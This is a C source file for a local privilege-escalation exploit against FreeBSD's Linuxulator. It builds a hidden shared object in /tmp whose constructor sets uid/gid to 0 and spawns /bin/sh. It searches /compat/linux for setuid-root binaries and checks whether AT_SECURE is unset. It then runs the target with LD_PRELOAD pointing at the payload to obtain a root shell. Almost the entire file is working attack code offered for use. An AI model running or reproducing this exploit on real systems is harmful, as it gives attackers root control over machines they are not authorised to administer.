#include #include #include #include #include #include #include #include #include #include #define EVIL_SRC "/tmp/.poc_evil.c" #define EVIL_SO "/tmp/.poc_evil.so" static const char evil_src[] = "void _start(void){}\n" "__attribute__((constructor))\n" "void pwned(void)\n" "{\n" " long euid;\n" " __asm__ volatile(\"syscall\":\"=a\"(euid):\"a\"(107):\"rcx\",\"r11\");\n" " char m1[]=\"\\n[+] evil.so: euid=\";\n" " __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m1),\"d\"(18):\"rcx\",\"r11\",\"memory\");\n" " char d='0'+(euid%10);\n" " __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&d),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n" " char nl='\\n';\n" " __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&nl),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n" " if(euid==0)\n" " {\n" " char m2[]=\"[+] GOT ROOT! Spawning shell...\\n\";\n" " __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m2),\"d\"(31):\"rcx\",\"r11\",\"memory\");\n" " __asm__ volatile(\"syscall\"::\"a\"(105),\"D\"(0):\"rcx\",\"r11\");\n" " __asm__ volatile(\"syscall\"::\"a\"(106),\"D\"(0):\"rcx\",\"r11\");\n" " char *s=\"/bin/sh\";\n" " char *a[]={s,0};\n" " __asm__ volatile(\"syscall\"::\"a\"(59),\"D\"(s),\"S\"(a),\"d\"(0):\"rcx\",\"r11\",\"memory\");\n" " }\n" " __asm__ volatile(\"syscall\"::\"a\"(60),\"D\"(1):\"rcx\",\"r11\");\n" "}\n"; static const char *suid_candidates[] = { "/compat/linux/usr/bin/su", "/compat/linux/usr/bin/sudo", "/compat/linux/usr/bin/passwd", "/compat/linux/usr/bin/chage", "/compat/linux/usr/bin/gpasswd", "/compat/linux/usr/bin/newgrp", "/compat/linux/usr/bin/crontab", "/compat/linux/usr/bin/pkexec", "/compat/linux/usr/bin/at", "/compat/linux/usr/sbin/unix_chkpwd", "/compat/linux/usr/lib/polkit-1/polkit-agent-helper-1", "/compat/linux/usr/libexec/dbus-daemon-launch-helper", "/compat/linux/bin/ping", "/compat/linux/bin/mount", "/compat/linux/bin/umount", "/compat/linux/usr/bin/ls", "/compat/linux/usr/bin/cat", "/compat/linux/usr/bin/id", "/compat/linux/usr/bin/env", "/compat/linux/bin/ls", "/compat/linux/bin/cat", NULL }; static const char *find_suid_linux_binary(void) { struct stat sb; int i; for (i = 0; suid_candidates[i]; i++) { if (stat(suid_candidates[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0) return suid_candidates[i]; } for (i = 0; suid_candidates[i]; i++) { if (stat(suid_candidates[i], &sb) == 0) return suid_candidates[i]; } return NULL; } static int check_linuxulator(void) { if (modfind("linux64") >= 0 || modfind("linux") >= 0) return 1; struct stat sb; if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0) return 1; return 0; } static int check_at_secure(const char *target) { int pipefd[2]; if (pipe(pipefd) < 0) return -1; pid_t pid = fork(); if (pid < 0) return -1; if (pid == 0) { close(pipefd[0]); dup2(pipefd[1], STDOUT_FILENO); dup2(pipefd[1], STDERR_FILENO); close(pipefd[1]); setenv("LD_SHOW_AUXV", "1", 1); execl(target, target, "--help", NULL); _exit(1); } close(pipefd[1]); char buf[4096]; int total = 0, n; while ((n = read(pipefd[0], buf + total, sizeof(buf) - total - 1)) > 0) total += n; buf[total] = '\0'; close(pipefd[0]); int status; waitpid(pid, &status, 0); char *p = strstr(buf, "AT_SECURE"); if (!p) return -1; char *colon = strchr(p, ':'); if (colon) { int val = atoi(colon + 1); return (val == 0) ? 0 : 1; } return -1; } static int build_evil_so(void) { FILE *f = fopen(EVIL_SRC, "w"); if (!f) { perror("[-] fopen"); return -1; } fputs(evil_src, f); fclose(f); char cmd[512]; snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -nostdlib -o %s %s 2>/dev/null && " "brandelf -t Linux %s 2>/dev/null", EVIL_SO, EVIL_SRC, EVIL_SO); if (system(cmd) != 0) { fprintf(stderr, "[-] evil.so compile failed\n"); return -1; } chmod(EVIL_SO, 0755); return 0; } static void cleanup(void) { unlink(EVIL_SRC); } int main() { const char *target = NULL; printf("[*] uid=%d euid=%d pid=%d\n\n", getuid(), geteuid(), getpid()); printf("--- Phase 1: Environment Check ---\n\n"); int linux_loaded = check_linuxulator(); if (linux_loaded) { printf("[+] Linuxulator: loaded\n"); } else { printf("[-] Linuxulator: not loaded\n"); printf(" This system is NOT vulnerable (linux64.ko required)\n"); return 1; } struct stat sb; if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0) { printf("[+] ld-linux-x86-64.so.2: present\n"); } else if (stat("/compat/linux/lib/ld-linux.so.2", &sb) == 0) { printf("[+] ld-linux.so.2: present (32-bit)\n"); } else { printf("[-] ld-linux: not found\n"); printf(" glibc not installed. NOT exploitable.\n"); return 1; } if (!target) target = find_suid_linux_binary(); if (!target) { printf("[-] No Linux binary found under /compat/linux/\n"); printf(" No setuid target available. NOT exploitable.\n"); return 1; } if (stat(target, &sb) != 0) { printf("[-] Target not found: %s\n", target); return 1; } int is_suid = (sb.st_mode & S_ISUID) && sb.st_uid == 0; if (is_suid) { printf("[+] Target: %s (setuid-root)\n", target); } else { printf("[!] Target: %s (NOT setuid-root)\n", target); return 1; } printf("\n--- Phase 2: AT_SECURE Check ---\n\n"); printf("[*] Testing AT_SECURE value via LD_SHOW_AUXV...\n"); int at_secure = check_at_secure(target); if (at_secure == 0) { printf("[+] AT_SECURE = 0\n"); printf("[+] VULNERABLE: setuid binary has AT_SECURE=0\n"); if (is_suid) printf("[+] LD_PRELOAD will be honored with euid=0\n"); else printf("[!] Bug confirmed but target is not setuid-root\n"); } else if (at_secure == 1) { printf("[-] AT_SECURE = 1\n"); printf("[-] SAFE: kernel correctly sets AT_SECURE (patched?)\n"); return 0; } else { printf("[?] AT_SECURE: could not determine\n"); printf(" LD_SHOW_AUXV output not found.\n"); printf(" Possible: static binary or AT_SECURE=1 (not vuln)\n"); return 1; } printf("\n--- Phase 3: Local Privilege Escalation ---\n\n"); if (build_evil_so() != 0) { cleanup(); return 1; } printf("[+] evil.so built: %s\n", EVIL_SO); printf("[*] Launching: LD_PRELOAD=%s %s\n", EVIL_SO, target); setenv("LD_PRELOAD", EVIL_SO, 1); execl(target, target, NULL); perror("[-] execl"); cleanup(); return 1; }